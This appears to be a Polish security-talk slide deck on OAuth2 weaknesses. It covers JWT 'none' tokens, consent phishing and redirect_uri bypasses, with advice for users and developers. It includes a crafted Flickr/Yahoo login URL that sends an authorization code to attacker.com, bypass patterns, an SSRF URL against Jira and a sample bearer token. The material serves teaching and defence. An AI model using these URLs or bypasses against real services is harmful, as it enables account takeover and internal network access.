Michał Sajdak sekurak.pl / securitum.pl
"Authorization Framework" (?)
Authorization Server
Authorization Code
Access Token
Refresh Token
Authorization Grant
Scope
Authorization code flow with PKCE
redirect_uri
Resource Server
Client
Resource owner
OAuth2
OAuth1
OAuth1.0a
Obecnie w użyciu OAuth2
Specyfikacja w pewnych miejscach daje sporą dowolność
W pewnych miejscach nie ma dowolności,
a i tak programiści robią po swojemu :-)
Dużo firm / osób używa OAuth2 do zapewnienia logowania się (nota bene: OAuth2 do tego nie służy!)
Tutaj można skorzystać z OpenID Connect
(+- niewielkie rozszerzenie OAuth2)
- wygląda jak dobry kandydat na błędy bezpieczeństwa
W skrócie:
Potrzebuję automatycznie postować
newsy z Sekuraka na Facebooka/LinkedIN/Twitter/...
Opcja 1.: wpisuję do Wordpressa moje dane do logowania do FB
Opcja 2.: nadaję Wordpressowi uprawnienia do konta FB - ale tylko do postowania
Jako właściciel konta w FB nadaję wybrane uprawnienia
innej aplikacji (Wordpressowi)
Do tego jest stworzony OAuth2. Umożliwia delegowanie uprawnień.
Nie muszę podawać swoich danych logowania w FB w Wordpressie
Kontroluję (po stronie panelu FB) - jakim aplikacjom dałem uprawnienia - mogę zmienić / cofnąć uprawnienia
Jeśli całość niepoprawnie skonfiguruję - ktoś może mieć
nieautoryzowany dostęp do moich zasobów
W przypadku naruszenia bezpieczeństwa, zmiana hasła
zazwyczaj nic nie daje
Mogę Wordpressowi sekuraka dać uprawnienia tylko do postowania (a nie np. do odczytywania danych z profilu)
Potencjalnie wprowadzam nowe podatności
client_id: ID zarejestrowanej w Google (fałszywej) aplikacji
scope: atakujący prosi o delegowanie tych uprawnień
response_type=token: atakujący w odpowiedzi dostanie tzw. access token - dający dostęp do API Google (do danych do których zostały przyznane uprawnienia)
redirect_uri: tutaj zostanie przesłany token (aplikacja atakującego)
Jako użytkownicy - myślmy co klikamy (jakie uprawnienia nadajemy do naszych zasobów? czy są one konieczne?)
Jako programiści - ekran z potwierdzeniem uprawnień (tzw. consent screen) budujmy maksymalnie czytelnie dla użytkownika
Jako użytkownicy - jak wykryjemy scam, pamiętajmy, że zmiana hasła nie wystarczy! Ale można cofnąć uprawnienia!
OAuth2 służy do nadawania (delegowania) uprawnień do pewnych danych innej aplikacji
Token daje dostęp do danych (odczyt, zapis)
Można (w uproszczeniu) powiedzieć, że działanie OAuth2 kończy się w momencie wygenerowania tokenu (ciągu znaków)
GET /gmail/v1/users/me/profile HTTP/1.1
Host: www.googleapis.com
Authorization: Bearer ya29.GluyBlwpI1TcJZj-_PMozuTcRLLrsMmaqVofZofIdUVF6jva4NDMvVsayN8ai8GOV0Zo1h0P6YAAo95F1qpS6FrckZXV7pt18LU-RwAxg-pH-YChjllnWDKHYOID
HTTP/1.1 200 OK Content-Length: 107 Origin Server: GSE { "threadsTotal": 3, "emailAddress": "sekurak997@gmail.com", "historyId": "1469", "messagesTotal": 4 }
Token
Jeśli mamy (legalnie lub nielegalnie) token -
mamy dostęp do chronionych zasobów (API)
Czy tokeny OAuth2 mają jakiś określony format?
Choć często używany jest
JWT (JSON Web Token)
Niektórzy wręcz traktują problemy bezpieczeństwa JWT jako problemy bezpieczeństwa OAuth2.
NIE
The none algorithm is a curious addition to JWT. It is intended to be used for situations where the integrity of the token has already been verified. Interestingly enough, it is one of only two algorithms that are mandatory to implement (the other being HS256).
Unfortunately, some libraries treated tokens signed with the none algorithm as a valid token with a verified signature. The result? Anyone can create their own "signed" tokens with whatever payload they want, allowing arbitrary account access on some systems.
It's not a bug, it's a feature!
RFC 7519
An Unsecured JWT is a JWS using the "alg" Header Parameter value "none" and with the empty string for its JWS Signature value, as defined in the JWA specification [JWA]; it is an Unsecured JWS with the JWT Claims Set as its JWS Payload.
Of the signature and MAC algorithms specified in JSON Web Algorithms [JWA], only HMAC SHA-256 ("HS256") and "none" MUST be implemented by conforming JWT implementations.
https://github.com/jwt-dotnet/jwt/issues/61
Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61
To chyba najczęściej wspominany problem bezpieczeństwa OAuth2
Nieautoryzowany dostęp do danych (np. konta FB)
Nieautoryzowany dostęp do zalogowanego
konta użytkownika. Atakowana funkcja: zaloguj Facebookiem, Googlem, Twitterem, etc.
DEMO?
Co jeśli podam w redirect_uri domenę atakującego?
Użytkownik (łącznie z tokenem) zostanie przekierowany do domeny atakującego (!).
Token daje dostęp do API (do danych, do których zostały delegowane uprawnienia)
Częste problemy z walidacją redirect_uri:
redirect_uri=https://www.sekurak.pl/
http://wwwXsekurak.pl/
(wyrażenie traktowane jako regex)
Adres musi zaczynać się od https://www.sekurak.pl
https://www.sekurak.pl@atakujemy.pl/
https://www.sekurak.pl/.*
może uda się znaleźć jakiś URL, który przekierowuje na inną domenę (tzw. open_redirect)
Przykłady z życia:
redirect_uri skonfigurowany na https://auth.uber.com/login
https://auth.uber.com/login?next_url=https://login.uber.com/logout
Prawda, że wspominałem o luźnym podejściu niektórych programistów do specyfikacji?
W konfiguracji zdefiniowane redirect_uri: https://www.flickr.com/.*
Ale mamy podatność open redirect:
https://www.flickr.com/sharing_connect.gne?callback_url=https://attacker.com/
https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2Fwww.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the-attacker’s-code}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&response_type=code id_token&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq
Otrzymujemy wykradziony token (tak naprawdę tzw. authorization code). Co z nim można zrobić?
This will log in the attacker to the victim’s Flickr account.
Programiści: precyzyjnie wskazujmy redirect_uri
podczas konfiguracji OAuth2
Programiści: uważajmy na błędy klasy open
redirect w swojej domenie
Użytkownicy: uważajmy gdzie wchodzimy /
w co klikamy
CVE-2017-9506: " Atlassian OAuth plugin is part of most Atlassian products such as Jira and Confluence."
Server Side Request Forgery (bez uwierzytelnienia)
https://jira.moja.firma.pl/plugins/servlet/oauth/users/icon-uri?consumerUri=http://10.2.45.1/cos-w-backendzie
http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
Coś ostrzejszego?
CVE-2018-1260: Remote Code Execution with spring-security-oauth2
A malicious user or attacker can craft an authorization request to the authorization endpoint that can lead to a remote code execution when the resource owner is forwarded to the approval endpoint (https://pivotal.io/security/cve-2018-1260)
CVE-2016-4977 Remote Code Execution (RCE) in Spring Security OAuth
Warto znać OAuth2
Warto znać OpenID Connect
Warto przygotować się na notoryczne łamanie specyfikacji w praktyce
Warto pamiętać że OAuth2 to "framework" - niektórzy go rozszerzają (zwiększając bezpieczeństwo), niektórzy wręcz przeciwnie
Bezpieczeństwo API REST - szkolenie Securitum
Często całą infrastrukturę OAuth2 mamy wewnątrz firmy
(bez zewnętrznych providerów typu LinkedIN / FB / Google)